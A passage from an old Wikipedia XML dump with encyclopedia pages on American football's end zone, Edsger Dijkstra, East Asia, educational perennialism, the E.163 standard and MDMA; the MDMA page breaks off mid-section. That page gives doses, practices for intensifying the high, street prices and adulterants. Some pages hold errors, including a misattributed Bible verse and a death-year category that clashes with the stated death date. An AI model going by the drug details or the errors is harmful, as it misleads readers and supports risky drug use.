* [http://www.tripdatabase.com TRIPDatabase.com] - 'TRIP Database - EBM search engine' (resource directory), TRIP Knowledge Service


[[Category:Medical informatics]]

[[de:Evidenzbasierte Medizin]]
[[es:Medicina basada en la evidencia]]
[[nl:Evidence based medicine]]
[[ja:&amp;#26681;&amp;#25312;&amp;#12395;&amp;#22522;&amp;#12389;&amp;#12356;&amp;#12383;&amp;#21307;&amp;#30274;]]
[[no:Evidensbasert medisin]]
[[pl:Medycyna oparta na faktach]]</text>
    </revision>
  </page>
  <page>
    <title>End zone</title>
    <id>10016</id>
    <revision>
      <id>41133402</id>
      <timestamp>2006-02-25T06:36:48Z</timestamp>
      <contributor>
        <username>Christopherlin</username>
        <id>51957</id>
      </contributor>
      <comment>cats</comment>
      <text xml:space="preserve">The '''end zone''' is a term in both [[Canadian football]] and [[American football]].  The end zone is the area between the [[end line]] and [[goal line]] bounded by the [[sidelines]].  It is bordered on all sides by a white line indicating its beginning and end points.

==Scoring==
A team scores a [[touchdown]] by entering their opponent's end zone while carrying the ball or catching the ball while being within the end zone. If the ball is carried by an offensive player, across the goal line, it is considered a score as soon as the ball crosses the imaginary ''[[plane (mathematics)|vertical plane]] of the goal line'',  between the two sidelines.  In addition, a [[two-point conversion]] may be scored after a touchdown by similar means.

==The goal post==
The location of a goal post differs from league to league, but it is always within the boundaries of the end zone.  In earlier football games (both professional and collegiate), the goal post began at the goal line, and was usually an H-shaped bar.  Nowadays, almost all goal posts are T-shaped, and reside at the back line of the end zone.

==Decoration==
[[Image:University of Texas Longhorn Band on the field.JPG|thumbnail|[[The University of Texas Longhorn Band]] performing on the [[college football|football field]] of [[Reliant Stadium]] in [[Houston, Texas]], the end zone of which is decorated in colors of [[The University of Texas at Austin]].]]
Most professional teams have their [[logo]] and/or team name painted on the surface of the end zone, with team colors filling the background. Many championship games at college and professional level are commemorated by the names of the opposing teams each being painted in one of the opposite end zones.

==Size==
The end zone in Canadian football is 20 yards long by 65 yards wide, where the end zone in American football is 10 yards long by 53 and 1/3 yards wide (Canadian football is played on a longer &amp; wider field).

[[Category:Canadian football]]
[[Category:American football]]</text>
    </revision>
  </page>
  <page>
    <title>Ettore Ximenes</title>
    <id>10017</id>
    <revision>
      <id>32636500</id>
      <timestamp>2005-12-24T23:09:51Z</timestamp>
      <contributor>
        <username>Bluemoose</username>
        <id>178836</id>
      </contributor>
      <comment>[[WP:AWB|AWB Assisted]] stub sorting</comment>
      <text xml:space="preserve">[[Image:Dante.jpg|thumb|200px|Ximenes' &quot;Dante&quot; can be found in [[Washington, D.C.]]'s [[Meridian Hill Park]].]]
'''Ettore Ximenes''' ([[April 11]], [[1855]], [[Palermo]]  &amp;ndash; [[December 20]], [[1926]], [[Rome]]) was an [[Italy|Italian]] [[sculpture|sculptor]] of [[religion|religious]] and [[mythology|mythological]] subjects.

==External links==
* [http://www.artnet.com/library/09/0925/T092556.asp Artnet.com biography: Ettore Ximenes]

[[Category:1855 births|Ximenes, Ettore]]
[[Category:1919 deaths|Ximenes, Ettore]]
[[Category:Italian sculptors|Ximenes, Ettore]]

[[de:Ettore Ximenes]]

{{Italy-bio-stub}}
{{sculptor-stub}}</text>
    </revision>
  </page>
  <page>
    <title>Edsger Dijkstra</title>
    <id>10018</id>
    <revision>
      <id>41653792</id>
      <timestamp>2006-02-28T20:47:37Z</timestamp>
      <contributor>
        <username>Wimvandorst</username>
        <id>142418</id>
      </contributor>
      <comment>copy-edit</comment>
      <text xml:space="preserve">[[Image:Edsger_Dijkstra_large.jpg|thumb|right|200px|Portrait of Edsger Dijkstra (courtesy Brian Randell)]]

'''Prof Dr Edsger Wybe Dijkstra''' ([[Rotterdam]], [[May 11]], [[1930]] &amp;ndash; [[Nuenen]], [[August 6]], [[2002]]) was a [[Netherlands|Dutch]] [[computer scientist]]. He received the 1972 [[Turing Award|A. M. Turing Award]] for fundamental contributions in the area of programming languages.

==Life==

Dijkstra studied [[Physics|theoretical physics]] at the [[University of Leiden]], but he quickly realized he was more interested in programming than physics.
Originally employed by the [[National_Research_Institute_for_Mathematics_and_Computer_Science|Mathematisch Centrum]] in Amsterdam, he held a professorship at the [[Eindhoven University of Technology]] in the Netherlands, worked as a research [[fellow]] for [[Burroughs Corporation]] in the early [[1970s]], and later held the Schlumberger Centennial Chair in Computer Sciences at the [[University of Texas at Austin]], in the [[United States]]. He retired in [[2000]].

Among his contributions to computer science is the ''[[shortest path problem|shortest path]]-[[algorithm]]'', also known as ''[[Dijkstra's algorithm]]'', and the [[Semaphore (programming)|semaphore]] construct, for coordinating multiple processors and programs.

He was also known for his low opinion of the [[GOTO]] statement in [[computer programming]], culminating in the [[1968]] article &quot;[[Go To Statement Considered Harmful]]&quot; (EWD215) [http://www.acm.org/classics/oct95/], regarded as a major step towards the widespread deprecation of the [[GOTO]] statement and its effective replacement by [[control structure]]s such as the [[while loop]]. The paper's famous title was not the work of Dijkstra, but of [[Niklaus Wirth]], then editor of [[Communications of the ACM]]. Dijkstra was known to be a fan of [[ALGOL|ALGOL 60]], and worked on the team that implemented the first [[compiler]] for that language. Dijkstra and Jaap Zonneveld, who collaborated on the compiler, agreed not to shave until the project was completed. Zonneveld eventually shaved off his beard; Dijkstra kept his until his death.

From the [[1970s]], Dijkstra's chief interest was [[formal verification]]. The prevailing opinion at the time was that one should first write a program and then provide a [[mathematical proof]] of [[correctness]]. Dijkstra objected that the resulting proofs are long and cumbersome, and that the proof gives no insight as to how the program was developed.  An alternative method is ''[[program derivation]]'', to &quot;develop proof and program hand in hand&quot;. One starts with a mathematical ''specification'' of what a program is supposed to do and applies mathematical transformations to the specification until it is turned into a program that can be executed.  The resulting program is then known to be '''correct by construction'''. Much of Dijkstra's later work concerns ways to streamline mathematical argument.  In a 2001 interview, he stated a desire for &quot;elegance,&quot; whereby the correct approach would be to process thoughts mentally, rather than attempt to render them until they are complete.  The analogy he made was to contrast the compositional approaches of [[Wolfgang Amadeus Mozart|Mozart]] and [[Ludwig van Beethoven|Beethoven]].

Dijkstra was known for his forthright opinions on programming, and for his habit of carefully composing [[manuscript]]s with his [[fountain pen]]. The manuscripts are called EWDs, since Dijkstra numbered them with ''EWD'' as prefix. Dijkstra would distribute photocopies of a new EWD among his colleagues;  as many recipients photocopied and forwarded their copy, the EWDs spread throughout the international computer science community (see EWD1000). The topics are mainly computer science and mathematics, but also include trip reports, letters, and speeches. Many of the more than 1300 EWDs have since been scanned and are available online.

He died on [[August 6]], [[2002]] after a long struggle with [[cancer]].

==Pronunciation==
''Edsger Dijkstra'' sounds like {{IPA|[&amp;#712;&amp;#603;t&amp;#716;sx&amp;#601;r &amp;#712;d&amp;#603;&amp;#618;k&amp;#716;stra]}}. 
See Dutch Pronunciation in the '''External links''' and '''References''' below.

==See also==

* [[Dijkstra's algorithm]]
* [[Dining philosophers problem]]
* &quot;[[The Cruelty of Really Teaching Computer Science]]&quot;

== References ==

* Edsger Wybe Dijkstra 1930&amp;ndash;2002
** [http://www.digidome.nl/edsger_wybe_dijkstra.htm Biography, Digidome]
** [http://homepages.cwi.nl/~apt/ps/dijkstra.pdf ''Edsger Wybe Dijkstra (1930&amp;ndash;2002): A Portrait of a Genius''] ([[Portable Document Format|PDF]]) Obituary on ''[[Formal Aspects of Computing]]'' with a short biography
** [http://www.cs.utexas.edu/users/EWD/memorial/moore.html Dijkstra Eulogy by J Strother Moore]
** [http://www.cs.utexas.edu/users/EWD/memorial/gries.html ''How can we explain Edsger W. Dijkstra to those who didn't know him? by David Gries'']
* Writings by E.W. Dijkstra
** ''Go To Statement Considered Harmful'', ''[[Communications of the ACM]]'', Vol. 11 (1968) 147&amp;ndash;148; [http://www.acm.org/classics/oct95/ online edition] (EWD215)
** [http://www.cs.virginia.edu/~evans/cs655/readings/ewd498.html ''How do we tell truths that might hurt?'' (EWD498)]
&lt;!-- I found this copy of the above paper with a copyright notice in it at
http://www.cs.utexas.edu/users/EWD/ewd04xx/EWD498.PDF, so I don't think that the set of quotes should be lifted from it. Bubba73 --&gt;
** [http://www.cs.utexas.edu/users/EWD/transcriptions/EWD11xx/EWD1166.html ''From My Life'' (EWD166)]
** [http://www.cs.utexas.edu/users/EWD/ Collected works (including EWDs)]

==External links==
{{wikiquote}}

* [http://homepage.mac.com/schuffelen/dureq.html Dutch Pronunciation Guide]
* [http://noorderlicht.vpro.nl/afleveringen/3502225/ Noorderlicht Interview Video, bandwidth options]
* [http://www.luca.demon.co.uk/Fonts/Pc/Dijkstra.zip Luca Cardelli's Font of Dijkstra's Handwriting (as a .zip file)]

[[Category:1930 births|Dijkstra, Edsger]]
[[Category:2002 deaths|Dijkstra, Edsger]]
[[Category:Computer pioneers|Dijkstra, Edsger]]
[[Category:Dutch computer scientists|Dijkstra, Edsger]]
[[Category:Dutch physicists|Dijkstra, Edsger]]
[[Category:Turing Award laureates|Dijkstra, Edsger]]
[[Category:Fellows of the ACM|Dijkstra, Edsger]]
[[Category:Formal methods people|Dijkstra, Edsger]]

[[ast:Edsger Dijkstra]]
[[bn:এট্‌স্‌হার ডেক্‌স্ট্রা]]
[[cs:Edsger Dijkstra]]
[[da:Edsger Dijkstra]]
[[de:Edsger Wybe Dijkstra]]
[[es:Edsger Wybe Dijkstra]]
[[fr:Edsger Dijkstra]]
[[ko:에츠허르 데이크스트라]]
[[id:Edsger Dijkstra]]
[[it:Edsger Dijkstra]]
[[he:אדסחר דייקסטרה]]
[[lb:Edsger W. Dijkstra]]
[[nl:Edsger Dijkstra]]
[[ja:エドガー・ダイクストラ]]
[[pl:Edsger Dijkstra]]
[[pt:Edsger Dijkstra]]
[[ro:Edsger Dijkstra]]
[[ru:Дейкстра, Эдсгер Вайб]]
[[sk:Edsger Wybe Dijkstra]]
[[fi:Edsger Dijkstra]]
[[sv:Edsger Dijkstra]]
[[vi:Edsger Dijkstra]]
[[zh:艾兹格·迪科斯彻]]</text>
    </revision>
  </page>
  <page>
    <title>East Asia</title>
    <id>10020</id>
    <revision>
      <id>41184548</id>
      <timestamp>2006-02-25T16:55:27Z</timestamp>
      <contributor>
        <ip>24.22.40.107</ip>
      </contributor>
      <text xml:space="preserve">'''East Asia''' is a subregion of [[Asia]] that can be defined in either [[Geography|geographical]] or cultural terms. Geographically, it covers about 6,640,000 km&amp;sup2;, or 15% of the Asian continent. Culturally, it embraces those societies that are part of the [[Chinese culture|Chinese cultural]] sphere, displaying heavy historical influence from the [[Classical Chinese]] language (including the traditional [[Chinese_character|script]]), [[Confucianism]] and [[Neo-Confucianism]], [[Mahayana Buddhism]], and [[Daoism]]. This combination of [[language]], [[political philosophy]], and [[religion]] overlaps with the geographical designation of East Asia.

The following countries are located in ''geographic East Asia'':

*The [[People's Republic of China]] (including [[Hong Kong]] and [[Macau]])
*[[Republic of China]] ([[Taiwan]]) (''see [[political status of Taiwan]]'')
*[[North Korea|Democratic People's Republic of Korea]] ([[North Korea]])
*[[South Korea|Republic of Korea]] ([[South Korea]])
*[[Japan]]
*[[Mongolia]]

The following peoples or societies are encompassed by ''cultural East Asia'':
*[[China|Chinese]] society (which would also include the dispersed [[China|Chinese]]-dominated regions of [[Hong Kong]], [[Taiwan]], [[Macau]], and [[Singapore]] due to Singapore's large Chinese population)
*[[Japan|Japanese]] society
*[[Korea|Korean]] society
*[[Mongolia|Mongolian]] society
*[[Vietnam]]ese society

The following [[Country|countries]] or regions are sometimes considered part of '''East Asia'''. A major reason for disagreement on this question is the difference between the cultural and geographic definitions of &quot;East Asia&quot;. Political perspective is also an important factor.

*The parts of China that are not historically [[Han Chinese]]: [[Xinjiang]], [[Qinghai]], [[Tibet]] (either East Asia or [[Central Asia]])
*[[Russian Far East]] (either East Asia or [[North Asia]])
*[[Vietnam]] (either East Asia or [[Southeast Asia]])

More than 1.5 [[billion]] people, about 40% of the population of [[Asia]] or a quarter of all the people in the world, live in geographic East Asia. The region is one of the world's most crowded places. The population density of East Asia, 230 per km&amp;sup2;, is over five times the world average. 

==Other subregions of Asia== 
*[[Southeast Asia]] 
*[[South Asia]] ([[Indian Subcontinent]])
*[[Central Asia]] 
*[[Southwest Asia]] or [[West Asia]] (One definition of the [[Middle East]] is synonymous with Southwest Asia) 
*[[North Asia]] ([[Siberia]])
*[[Northern Eurasia]] (Extends into [[Europe]])
*[[Central Eurasia]] (Extends into [[Europe]])

==See also==
*[[History of East Asia]]
*[[East Asian language]]
*[[Asian Network of Major Cities 21]]
*[[Eastasia]], one of the three superpowers in [[George Orwell]]'s novel ''[[Nineteen Eighty-Four]]''.
*[[East Asian Tigers]], a label pertinent to the recent [[economic history]] of the region. 

{{Region}}
[[Category:Asia]]
[[Category:East Asia| ]]

[[bg:Източна Азия]]
[[zh-min-nan:Tang-a]]
[[de:Ostasien]]
[[es:Extremo Oriente]]
[[eo:Orienta Azio]]
[[fr:Asie de l'Est]]
[[he:מזרח אסיה]]
[[gl:Extremo Oriente]]
[[ko:동아시아]]
[[id:Asia Timur]]
[[ms:Asia Timur]]
[[nl:Oost-Azië]]
[[ja:東アジア]]
[[pl:Daleki Wschód]]
[[pt:Extremo Oriente]]
[[ru:Восточная Азия]]
[[fi:Itä-Aasia]]
[[th:เอเชียตะวันออก]]
[[vi:Đông Á]]
[[zh:东亚]]</text>
    </revision>
  </page>
  <page>
    <title>Educational perennialism</title>
    <id>10021</id>
    <revision>
      <id>38931240</id>
      <timestamp>2006-02-09T16:25:22Z</timestamp>
      <contributor>
        <ip>149.68.172.25</ip>
      </contributor>
      <comment>/* Colleges exemplifying this philosophy */</comment>
      <text xml:space="preserve">'''Perennialists''' believe that one should teach the things that they believe are of everlasting importance to all people everywhere. They believe that the most important topics develop a person. Since details of fact change constantly, these cannot be the most important. Therefore, one should teach principles, not facts. Since people are human, one should teach first about humans, not machines or techniques. Since people are people first, and workers second if at all, one should teach liberal topics first, not vocational topics.

A particular strategy with modern perennialists is to teach scientific reasoning, not facts. They may illustrate the reasoning with original accounts of famous experiments. This gives the students a human side to the science, and shows the reasoning in action. Most importantly, it shows the uncertainty and false steps of real science.

Although perennialism may seem similar to [[educational essentialism|essentialism]], perennialism focuses first on personal development, while essentialism focuses first on essential skills. Essentialist curricula thus tend to be much more vocational and fact-based, and far less liberal and principle-based.

Perennialism has two major divisions: secular and religious, and their goals and methods differ somewhat.

==Secular perennialism==
Secular perennialism is a relatively new philosophy dating from only the mid-19th century. It has been supported by [[Mortimer Adler]] and [[Robert Hutchins]].  

Secular perennialists emphasize the importance of learning to reason. They argue that accurate, independent reasoning is the greatest difference between a developed mind and an undeveloped mind. Thus, it should be a major goal of education.  

They advocate teaching reasoning by means of a directed reading list of [http://thecommonreview.org/gbf/ great books] of the [[Western canon]], supplemented with minimally-directed discussions using the [[socratic method]].  

The great books normally include those that originally advocated the major ideas of western civilization.  

In this doctrine, a skilled teacher would keep discussions on topic, without classical reasoning errors, but the class, not the teacher, would come to a conclusion.  In particular, the teacher would not direct or lead the class to a conclusion. The teacher's role may include accurately formulating the problem pointed out by some great book's reading.

Secular perennialists also advocate the use of original works, perhaps translated, rather than textbooks. Their basic argument is that the original work is the work of genius. Since we need not settle for less, why should we?

The standard argument for a modern text is to make the information relevant to modern society. Perennialists argue that the topics of the great books describe any society, at any time, and thus the great books already suit our society and our time.

They freely acknowledge that any selection of [http://thecommonreview.org/gbf/ great books] will disagree about many topics, but see this as an advantage.  They believe that the student must learn to recognize such disagreements, which often reflect real disagreements between persons. Then, hardest of all, the student must actually think about the disagreements and reach a reasoned, defensible conclusion. This is a major goal of the socratic discussions. They do not advocate teaching a settled scholarly interpretation of the great books, because this cheats the student of an opportunity to learn rational criticism and to know his own mind. Also, possibly it cheats humanity of brilliant insights brought by new minds.

==Religious perennialism==
Religious perennialism is the original form, developed first by [[Thomas Aquinas]] in the 13th century in his work [http://www.atheneum.org/demagis.html De Magistro], (The Teacher). It is also focused on the personal development of the student, because Christian philosophy is concerned with love (not sex, but a perfected ideal of love).

Aquinas was a Christian philosopher and theologian. He argued that God loves us, and therefore wants us to be all we can be. In particular, &quot;You shall know the truth, and the truth shall make you free.&quot; ([[Matthew 5:48]]), and &quot;Love the Lord...with all your mind...&quot; (Luke 10:27). Thus human development glorifies God, and is a worthy project.

He argued against two fallacies. First he argued that all learning could not come from within, because it always had to be provided as sensed signs that the student must perceive. He also argued that education is not mere manipulation of a mind from outside, but that rather some essential spark (from God) remade the knowledge in the student's mind.

He advocated a middle path, between these two extremes (in line with [[Aristotle]]'s [[Nicomachean Ethics]]). That is, the teacher could guide the student to the great truths. This would save the student much [[trial and error]], and permit greater development at a younger age.

Aquinas clearly considered Christian ethics, salvation and doctrine to be items of first importance, because they concerned human access to the universal God and eternal life. He considered reasoning and philosophy to be important, but of clearly secondary importance.

An interesting teaching was that he considered God to be the great, perhaps only Teacher, because only God could form ideas directly in men's minds from mere senses.

For a discussion of other educational philosophies, see [[educational philosophies]] and [[education reform]].  For more information about the great books, see [[Mortimer Adler]] or http://thecommonreview.org/gbf/

== Colleges exemplifying this philosophy ==
Some colleges in the United States use &quot;a [[Great Books]] curriculum&quot; and represent a fairly pure application of this educational philosophy:

*[[St. John's College, U. S.]] is a well-known secular liberal-arts college with an undergraduate program described as &quot;an all-required course of study based on the great books of the Western tradition.&quot;
*[http://www.thomasaquinas.edu Thomas Aquinas College] in [[Santa Paula, California]] is a Catholic Christian college with a Great Books curriculum.
*[http://mckenziestudycenter.org/guten/ Gutenberg College] in [[Eugene, Oregon]] provides &quot;a broad-based liberal arts education in a Protestant Christian environment&quot;, with a &quot;great books&quot; curriculum emphasizing &quot;the development of basic learning skills (reading, writing, mathematics, and critical thinking) and the application of these skills to profound writings of the past&quot;
*[[Shimer College]] in [[Waukegan, Illinois]] grants a Bachelor of Arts to students who complete a program composed of humanities, social sciences, natural sciences, integrative studies and a capstone senior thesis.
*[http://www.biola.edu/academics/torrey The Torrey Honors Institute] at [[Biola University]] is a Christian Great Books program.  
[[Category:Educational philosophy]]</text>
    </revision>
  </page>
  <page>
    <title>E.163</title>
    <id>10022</id>
    <revision>
      <id>38355344</id>
      <timestamp>2006-02-05T20:28:40Z</timestamp>
      <contributor>
        <ip>88.104.93.85</ip>
      </contributor>
      <comment>Changed 1997 to 1991 source = http://www.itu.int/publications/pdfcatalogue/Itut-e.pdf</comment>
      <text xml:space="preserve">'''E.163''' was an [[ITU-T]] standard for describing [[telephone]] numbers for the public voice network ([[PSTN]]). In the United states this was formerly refered to as a 'Directory number'. This standard has been superseded by [[E.164]] in 1991
{{Com-stub}}</text>
    </revision>
  </page>
  <page>
    <title>Methylenedioxymethamphetamine</title>
    <id>10024</id>
    <restrictions>move=:edit=</restrictions>
    <revision>
      <id>42137932</id>
      <timestamp>2006-03-04T01:50:58Z</timestamp>
      <contributor>
        <ip>128.255.49.104</ip>
      </contributor>
      <text xml:space="preserve">{| id=&quot;synChemInfoBox&quot; class=&quot;wikitable&quot; width=&quot;300px&quot; style=&quot;float: right; margin: 0 0 .5em .5em;&quot;
|-
|bgcolor=&quot;#ffffff&quot; align=&quot;center&quot; colspan=&quot;2&quot;|
[[Image:MDMA.png|center|MDMA chemical structure]]&lt;br/&gt;
''MDMA''
|-
|align=&quot;center&quot; colspan=&quot;2&quot;|
''1-(benzo[''d''][1,3]dioxol-5-yl)-''N''-methylpropan-2-amine''
|-
!valign=&quot;top&quot; align=&quot;center&quot;|[[CAS number]]
|
42542-10-9&lt;br/&gt;
66142-89-0&lt;br/&gt;
69610-10-2&lt;br/&gt; 
81262-70-6
|-
![[Chemical formula]]
|C&lt;sub&gt;11&lt;/sub&gt;H&lt;sub&gt;15&lt;/sub&gt;NO&lt;sub&gt;2&lt;/sub&gt;
|-
![[Molecular weight]]
|193.25 g/mol
|-
![[Melting point]]
|148 - 153 °C ([[hydrochloride]])
|-
![[Simplified molecular input line entry specification|SMILES]]
|CC(NC)CC1=CC=C(OCO2)C2=C1
|-
![[half life|Elimination half life]]
|The [[Enantiomer|&quot;S&quot; form]] has a shorter half life (about 4 hours), whereas the [[Enantiomer|&quot;R&quot; form]] has a much greater half life. (about 14hours)
|-
![[Controlled Substance Act|Legal status]]
|Schedule I ([[United States|USA]])&lt;br /&gt; Class A ([[United Kingdom|UK]])&lt;br /&gt; Schedule III ([[Canada]])
|-
!Delivery
|75-120 mg tablets&lt;br&gt;100 mg sublingual
|- 
|colspan=&quot;2&quot;|'''Indicated for:'''&lt;br/&gt;
:* [[Post traumatic stress disorder|PTSD]]
|-
|colspan=&quot;2&quot;|'''[[Recreational drug use|Recreational]] uses:'''&lt;br/&gt;
:*[[euphoria]]
|-
|colspan=&quot;2&quot;|'''Other uses:'''&lt;br/&gt;
:*[[Marriage counseling]]
:*[[Anxiety]]
:*[[PTSD]]
:*[[Palliative care|End of Life Care]]
|-
|colspan=&quot;2&quot;|'''[[Contraindication]]s:'''&lt;br/&gt;
:*Not for use in combination with stimulants (amphetamines, large doses of caffeine, etc). 
:*Not for use in combination with diuretics. 
:*Not for use in individuals with high blood pressure, hypertension, or blood clotting disorders. 
:*Not for use in individuals who have displayed allergies to amphetamine drugs. 
:*Must never be used in combination with MAOI (Monoamine Oxidase Inhibitor) drugs. 
|-
!colspan=&quot;2&quot;|'''[[Side effect]]s:'''
|-
|colspan=&quot;2&quot;|'''''[[Endocrine]]:'''''&lt;br/&gt;
:*[[hyponatremia]]
|-
|colspan=&quot;2&quot;|'''''[[Eye]]:'''''&lt;br/&gt;
:*dilated pupils
|-
|colspan=&quot;2&quot;|'''''[[Psychological]]:'''''&lt;br/&gt;
:*[[euphoria]]
:*strong sense of [[empathy]]
:*serotonin deficiency
|-
|colspan=&quot;2&quot;|'''''[[Skin]]:'''''&lt;br/&gt;
:*sweaty palms
:*heavy sweating
|-
|colspan=&quot;2&quot;|'''''Miscellaneous:'''''&lt;br/&gt;
:*restlessness
:*chattering teeth
|-
|}

'''MDMA''' ('''3,4-methylenedioxymethamphetamine'''), most commonly known today by the [[List of street names of drugs|street name]] '''ecstasy''', is a synthetic [[Empathogen-Entactogen|entactogen]] of the [[phenethylamine]] family whose primary effect is to stimulate the secretion of and inhibit the re-uptake of large amounts of [[serotonin]] as well as [[dopamine]] and [[noradrenaline]] in the [[brain]], causing a general sense of openness, empathy, energy, euphoria, and well-being.  Tactile sensations are enhanced for some users, making general physical contact with others more pleasurable; but, contrary to popular mythology it generally does not have [[aphrodisiac]] effects.  Its ability to facilitate self-examination with reduced fear has proven useful in some therapeutic settings, leading to its 2001 approval by the United States [[Food and Drug Administration|FDA]] for testing in patients with [[post-traumatic stress disorder]].

Acute [[dehydration]] is a risk among users who are highly physically active and forget to [[drinking|drink]] [[water]], as the drug may mask one's normal sense of exhaustion and thirst. Also the opposite, &quot;[[water intoxication]]&quot; resulting in acute [[hyponatremia]] has been reported. By far the biggest danger comes from the fact that other, more dangerous chemicals (such as [[PMA]], or [[methamphetamine]]) are either added to ecstasy tablets, or more often simply sold as ecstasy.  Long-term effects in humans are largely unknown and the subject of much controversy &amp;mdash;particularly with regard to the risks of severe long-term [[clinical depression|depression]] as a result of a reduction in the natural production of serotonin.

&lt;!--
PLEASE DO NOT ADD TO THIS SECTION without citing SOURCES and SUBSTANTIAL EVIDENCE that the term has been in use for a LONG TIME and is COMMON enough to be included in an encyclopedic article (Wikipedia is not a slang or idiom guide, see http://en.wikipedia.org/wiki/Wikipedia:Wikipedia_is_not_a_dictionary):
--&gt;
MDMA is also known by many other street names, including ''Adam'', ''Beans'', ''Biscuits'',  ''Candy'', ''E'', ''Eccies'',  ''Eileen'', ''Googs'', ''Irene'' (in East Asia), ''Jack and Jills'', &quot;Kissing Potion&quot;, ''MaDMAn'', ''Mollies'', ''Pills'', ''Rolls'', ''Scoobies'', ''Smarties'', ''Tabs'', ''Thizz'', ''Vitamin E'', ''Vitamin X'', ''X'', ''XTC'', ''Yaotou'' (in East Asia), and ''Yokes''. 

== History ==
A patent for MDMA was originally filed on [[December 24|Christmas eve]] [[1912]] by the [[Germany|German]] pharmaceutical company [[Merck KGaA|Merck]], and granted two years later (to the day). At the time, MDMA was not known to be a drug in its own right; rather, it was patented as an intermediate chemical used in the synthesis of a [[styptic]] (a drug intended to control bleeding from wounds.) Over half a century would pass before the first known ingestion of MDMA by humans.

Contrary to many rumours, the drug was never used as an [[appetite suppressant]] or as a [[stimulant]] for armed forces during wartime. (This was in fact [[methamphetamine]].) The U.S. Army did, however, do [[lethal dose]] studies of it and several other compounds in the mid-1950's.  It was given the name EA-1475, with the EA standing for [[Edgewood Arsenal]].  The results of these studies were not declassified until 1969.  MDMA was first brought to public attention through Dr. [[Alexander Shulgin]] in the 1960s who recommended it for use in certain therapy sessions, naming the drug 'window' (he discovered it while searching for compounds that might have a similar psychoactive effect as other compounds contained in [[nutmeg]]).  It was widely used therapeutically by US psychotherapists because of its empathogenic effects until its criminalization in the late 1980s. The drug was hailed as a miracle by therapists and counselors who claimed couples could have six months worth
of progress in one use of the drug, and soldiers returning from the Vietnam war could overcome their [[PTSD]] sometimes more effectively than talk or group therapy. A small number of therapists continue to use it in their practices today.  (See below for 2001 FDA approval and DEA licensing for use in patients with [[post-traumatic stress disorder]].)

Until 1985, MDMA was legal in the [[United States]]. Recreationally, it first came into prominence in certain trendy [[yuppie]] bars in the [[Dallas, Texas|Dallas]] area, then in [[gay]] dance clubs. From there, use spread to [[rave]] clubs, and then to mainstream society. During the 1990s, along with the growing popularity of the rave [[subculture]], MDMA use became increasingly popular among young adults in [[university|universities]] and later in [[high school]]s.  It rapidly became one of the four most widely used illegal drugs in the US, along with [[cocaine]], [[heroin]] and [[marijuana]].
In the late 80's and early 90's ecstasy was widely used in the U.K., such as [[The Haçienda]] night club in Manchester, where bands like [[The Stone Roses]] and [[The Happy Mondays]] mixed classic 60's psychedelic pop with dance bass groove to create a unique indie-dance crossover sound.  It would be these gigs (and &quot;sound&quot;) at The Haçienda that would give birth to [[rave culture]] in which ecstasy is so widely associated.

== Chemistry ==
The chemical structure of MDMA is similar to those of [[Mescaline]] and [[methamphetamine]], but the phenyl ring is [[Substitution|substituted]] with a [[methylenedioxy]] [[functional group|group]] in position 3,4.
It is a member of the [[phenethylamine]] family, a group of substances typically having pronounced biological activity.
MDMA is synthesized from [[MDP2P]] through a chemical reaction known as [[reductive amination]]. MDMA has a [[chiral]] center at the alpha carbon (next to the methylamino group).

== Pharmacokinetics ==
MDMA has complex nonlinear pharmacokinetics, due MDMA's ability to inhibit [[CYP2D6]] and CYP2d8. It is metabolised via N-demethylation to several active metabolites including MDA, although the conversion rate in humans is low. The metabolism is primarily by the [[Cytochrome P450 oxidase|cytochrome P450]] enzymes CYP2D6 (in humans, but CYP2D1 in mice), and [[CYP3A4]] . Large increases in blood and brain concentrations are mostly due to autoinhibition of CYP2D6 metabolism--if the user takes consecutive doses of the drug, disproportionately high plasma concentrations can result. A significant quantity is excreted unchanged in the urine, especially when the drug is taken at higher doses.

== Recreational use ==

The primary effects of MDMA include feelings of openness, [[euphoria]], [[empathy]], [[love]], and heightened [[self-awareness]]. Its initial adoption by the dance club sub-culture is probably due to the enhancement of the overall social and musical experience. Taking MDMA or Ecstasy is commonly referred to as ''pinging'', ''rolling'', ''popping'', ''peaking'', ''rushing'', ''buzzing'', ''dropping'', ''pilling'', ''flipping'', ''getting off-tap'', ''eating skittles'', or ''dosing''.

Some users employ practices to enhance the effects of MDMA, often called ''&quot;Blowin' up&quot;''. Because of the euphoric sensitivity to touch it is common, while on ecstasy, to have someone around the individual rub his or her fingers sensually and/or massage through the hair and scalp. Often times someone around the individual will flash lights on and off, use [[Lightstick|glow sticks]]--moving them in front of the individual vigorously--or spin the individual around, asking him/her to concentrate on one source of light. Because of the extreme intensity to colors, lights and touch this causes a 'sensory overload' to the individual, inducing an extreme sensation of euphoria.

MDMA use has increased markedly since the late 1980s and spread beyond its original sub-cultures to mainstream use. Prices have also fallen since the 1980s, with the street price in the US varying between $5 and $40 per tablet, depending on the quantity purchased, and with higher prices paid when the drug is purchased in a club or at a rave. In countries in which distribution is more extensive, such as in the Netherlands, prices can sometimes be as low as $1 per tablet. In Britain, a usual price is around £2.50 for a pill (although media reports in September 2005 show the price dropping as low as 50p in many parts of the country), the standard price in a nightclub is three pills for £10, and £20 for a half gram of pure MDMA powder, although like any illegal substance the price varies wildly depending on how many hands it has passed through. In the U.S. the price varies anywhere from $10 a pill to $30. In countries where distribution is more difficult prices are accordingly higher; for example in New Zealand prices start at around $60 NZD ($40 US) and can get as high as NZ $80.

== Supply and administration ==
MDMA is usually ingested in pill form.  Pills come in a variety of &quot;brands&quot;, usually identified by the icons stamped on the pills. The brands never consistently designate the actual active compound within the pill, as anyone can make their own pills which copy the features of a well-known brand.

Pills sold illegally on the street don't always have MDMA as the only active ingredient. There is a widely believed myth that black market pills usually contain [[methamphetamine]] - analysis of police seisures show this not to be the case, Analogues such as [[MDEA]], [[3,4-methylenedioxyamphetamine|MDA]] and [[MBDB]] are often found, and rarely other unrelated psychoactive additives such as [[amphetamine]]s (''speed''), [[DXM]], [[ephedrine]], [[PMA]], [[caffeine]], [[ketamine]] (''Special K''), and others were sometimes detected. Other contaminants include: [[ketamine]], [[ephedrine]], [[DXM]], [[Pseudophedrine]], and other unidentified chemicals. There are anecdotal stories of pills containing [[cocaine]], [[heroin]], or [[mescaline]]; however, there have been no documented cases where these contaminants have been found. Mescaline is an especially unlikely contaminant, as a large amount is required for an effective dose.  There have been a few cases where an extremely potent synthetic opiate, Fenantyl, has been identified in pills. 
[[Image:Ecstacy monogram.jpg|thumb|200px|right|Ecstasy commonly appears in a tablet form, usually imprinted with a monogram.]]

